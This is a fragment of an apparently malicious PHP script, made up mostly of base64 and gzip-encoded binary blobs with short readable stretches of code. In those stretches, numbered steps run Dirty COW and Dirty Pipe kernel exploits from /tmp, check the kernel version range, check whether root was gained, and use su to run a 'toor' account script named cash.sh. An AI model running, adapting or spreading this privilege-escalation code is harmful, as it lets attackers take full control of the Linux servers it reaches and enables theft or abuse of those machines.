5qd/ohXzPJt97AmlL7BBIe+JtTA4l/s0Dey4EMc2vha1hDJ8ha/MS1rfQEwh5EH9AesHIeG8ETZsZsrNCzt3dN8KgfzCBBn+qVKoVaXLU1RTfKpVqyVyWvJAV2f3AfVzz/9V2NbFNHFF4HA+RBZZnLYKpEAKjRmqsCifrQOMgi2bNBtZljagELaoUofVP4ogmRt41gVx6WA5eLEu5c+TCqeQUQi+NiWjh0MYBDkgIxT20xPxIPsUhWFr0ZiYCrJQICeby5lnve29359fz895T22YwpkKlJ1asJXonxyqLEJnt8t9sV85RjONY/4J+43jJ/YtEZk79hSWrIplVMkiu3daflJ9hiVx7oD9US500Anzc8WIYrl20I2NOKuJO1XGXegFrKNYfy1f/29Ry/gpM3F3IOEmHhii52XGJ/i1ckdoc+S/f26+QyU0JD0tiRWrM0YN0lzsgTnNREmgFhqmH6igD0Hj4fDnuNODb1WtVWN1JrszueOujNXQFlk3NF8LyLojUmKyLjxVrd+fvLGQ1vR8FY0h5FQaappJcVYj8ms7Pag3Ltme/4n0oXbu8T13Jcc2PLNs+yY4dvbOKK9pcY3aVxv09U5u2bPu0Yv0Lc2lzjUzsV8w158QP1D2/RLcVPQUX6FmskZmIZ6AQcZEZ1WcXVMEemlfMtW8nTluLizXzH0EpTdaVwAIEjPUiImAP8WIXEfBh4sXh2jM4NEcFsVKabCqBBbnYLltILmKPbGFX0X3YcoeLqq9pqUJzaJ6psRrmU6KW8M6YOVePlZdxvKTYMvj5cMbMV059C7SXn2JmtSn9NgBVJ7A2KLbu30VJl+yrRIlXFio0X6X5Ks3Xab4eJV3YFyVeLMAdn5h5eyDefzd/B/rCXvAEHQu8+q4U8Sjmn8KJEnaBv2pwGiPeI3tBPyZH4G1jZllQ++/lXxJB9tWp4qF59H0bvWuN9nC6jdMtaOMETjPRR6Qbt5g8ON0Eemavg+HxxvIbKYf+cSv6PAm8GrJcG4Ij7zDcAJf8WRsf8V9I5/TR7Lhf7A+KwT5/V8YwzuuHurtHRo1MPhFMZse6J0dHQBTo/kQ2a+hGTjvvT6XFRI+ohZNiKpUa7juoHfymRwz1akkxGdISYjiUOBDu7UlpAaSOjp9L5w75VVX+nGZQUM/oRs7QEiiYy6Y0Q0PBdObscE4bS5/NpHJvORQ00hcNFGQyCV1H8ABj6XHjU3zvbbyMQ5yfcrAin+KlMCu/Ly+04LdzfNv6ut5RhleOMj7SIt9azfa14AscX+D43S0V0NWC/5rj2zk//SPDTx9j/NKvH35+keOd6+/P69/UCuO/2MR+H/9tHT+9k+GvNxjvdn/YfoTb72ltBxxf+Z/2+C51blCuF1cZHdykPb8BwuiKSQD7AAA='); $pw='Ar'.substr(md5(uniqid('',true)),0,10); if($dc){ out('dirtycow','try'); xrun('cd /tmp && '.shq($dc).' '.shq($pw).' >/dev/null 2>&1; '.($AAEXEC?'':'')); usleep(300000); if (trim(xrun('command -v script'))!=='') xrun('printf '.shq($pw."\n").' | script -qec '.shq('su toor -c "sh '.$W.'/cash.sh"').' /dev/null', 60); else xrun('printf '.shq($pw."\n").' | su toor -c '.shq('sh '.$W.'/cash.sh'), 60); step('dirtycow','try'); if(rooted()) exit; } } /* ---- 8: Dirty Pipe ---- */ if (vge($V,'5.8') && vlt($V,'5.16.12') && en('proc_open')) { $dpipe=pl('dirtypipe','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